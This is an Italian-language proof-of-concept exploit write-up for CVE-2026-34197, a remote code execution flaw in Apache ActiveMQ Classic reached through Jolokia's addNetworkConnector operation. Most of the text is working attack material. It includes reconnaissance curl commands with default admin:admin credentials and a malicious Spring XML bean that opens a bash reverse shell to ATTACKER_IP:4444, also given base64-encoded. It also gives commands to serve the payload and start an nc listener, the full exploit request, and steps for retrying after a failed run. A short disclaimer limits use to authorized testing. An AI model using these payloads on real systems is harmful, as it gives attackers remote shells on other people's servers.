
Proof-of-concept exploit per CVE-2026-34197, una RCE in Apache ActiveMQ tramite addNetworkConnector di Jolokia, con note tecniche e payload di reverse shell.
addNetworkConnector RCEProof-of-concept e note tecniche per CVE-2026-34197, una vulnerabilità di esecuzione remota di codice in Apache ActiveMQ Classic raggiungibile tramite il bridge JMX-HTTP di Jolokia.
conf/jolokia-access.xml) concede exec su ogni MBean org.apache.activemq:*. Questo include Broker.addNetworkConnector(String), che accetta un URI di trasporto vm:// il cui parametro di query brokerConfig viene recuperato e analizzato dal broker come . Un bean la cui classe è con viene istanziato — e avviato — come effetto collaterale della risoluzione del grafo di bean da parte di Spring. Nessuna catena di gadget di deserializzazione richiesta.java.lang.ProcessBuilderinit-method="start"⚠️ Solo per test autorizzati / ricerca / uso in CTF. Non eseguirlo contro sistemi che non possiedi o per cui non hai esplicito permesso di test.
curl -s http://$TARGET:8161/ | grep -oiE 'activemq[^<]*[0-9]+\.[0-9]+\.[0-9]+'
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/version" | python3 -m json.tool
Conferma che exec sia effettivamente raggiungibile sull'MBean del Broker:
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/list/org.apache.activemq:type=Broker,brokerName=localhost" \
| python3 -m json.tool | grep -A3 addNetworkConnector
addNetworkConnector(String) non accetta un URI vm://... nudo — viene prima analizzato come URI di agente di discovery, e vm non è uno schema di discovery registrato (DiscoveryAgent scheme NOT recognized: [vm]). Avvolgilo in static:(...), lo schema di discovery statico di ActiveMQ, che passa l'URI vm:// interno senza modifiche:
static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)
poc.xml:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pwn" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
Il wrapper <![CDATA[...]]> è necessario perché il one-liner della reverse shell contiene &, che l'XML altrimenti proverebbe ad analizzare come inizio di un riferimento a entità. Un'opzione equivalente senza escaping è codificare il comando in base64:
<value>echo YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE=|base64 -d|bash</value>
Servilo:
python3 -m http.server 8000
Avvia un listener:
nc -lvnp 4444
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addNetworkConnector(java.lang.String)",
"arguments": ["static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)"]
}'
L'header Origin è importante. Se il jolokia-access.xml di questa versione ha l'enforcement CORS abilitato (un blocco <cors></cors>, anche vuoto), Jolokia richiede un Origin/Referer ben formato sulle richieste che modificano lo stato. Se lo ometti, riceverai una risposta di policy negata che può far sembrare il sistema patchato quando non lo è.
Una chiamata riuscita restituisce:
{"value":"NC","status":200}
La chiamata è cieca su HTTP — non c'è un corpo di risposta che trasporti l'output del comando — quindi il tuo listener del passaggio precedente è ciò che effettivamente cattura la shell.
InstanceAlreadyExistsExceptionaddNetworkConnector(String) registra sempre l'oggetto JMX risultante sotto il nome del connettore NC, indipendentemente dall'URI che passi. Questo è un default hardcoded in ActiveMQ stesso, non qualcosa derivato dalla richiesta:
// NetworkBridgeConfiguration.java (NetworkConnector extends this class)
private String name = "NC";
BrokerViewMBean.addNetworkConnector(String discoveryAddress) non espone mai un modo per sovrascriverlo — non esiste un trucco con nome/parametro di query che cambi l'ObjectName registrato (testato a mano: aggiungere ?name=whatever fuori dal wrapper static:(...) viene silenziosamente ignorato).
Conseguenza: la seconda chiamata a addNetworkConnector — sia che si tratti di un tuo nuovo tentativo dopo un payload rotto, sia semplicemente perché il connettore è già registrato da un'esecuzione riuscita precedente — fallisce:
{
"error_type": "java.io.IOException",
"error_type_jmx": "javax.management.InstanceAlreadyExistsException",
"error": "Network Connector could not be registered in JMX: org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC",
"status": 500
}
Questo non richiede un riavvio del broker per recuperare. Broker espone anche removeNetworkConnector(String) tramite la stessa policy Jolokia (la concessione <allow operation="*"> su org.apache.activemq:* copre ogni operazione del broker, non solo questa). Cancella il connettore obsoleto per nome e riprova:
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}'
Una chiamata riuscita restituisce {"value":true,"status":200}. Riesegui il passaggio 3 immediatamente dopo — ri-registra NC e attiva di nuovo poc.xml.
admin di Jolokia/console, che non è correlata all'account del sistema operativo.addNetworkConnector non esegue solo il bean Spring una volta — lascia un oggetto connettore di rete vivo registrato sul broker (org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC). Questo è un artefatto durevole dello sfruttamento, indipendente dal fatto che il processo generato stesso persista.NetworkBridgeConfiguration.java — fonte del default private String name = "NC";BrokerViewMBean.java — interfaccia JMX addNetworkConnector / removeNetworkConnectorNetworkConnector.javaDiscoveryNetworkConnector.java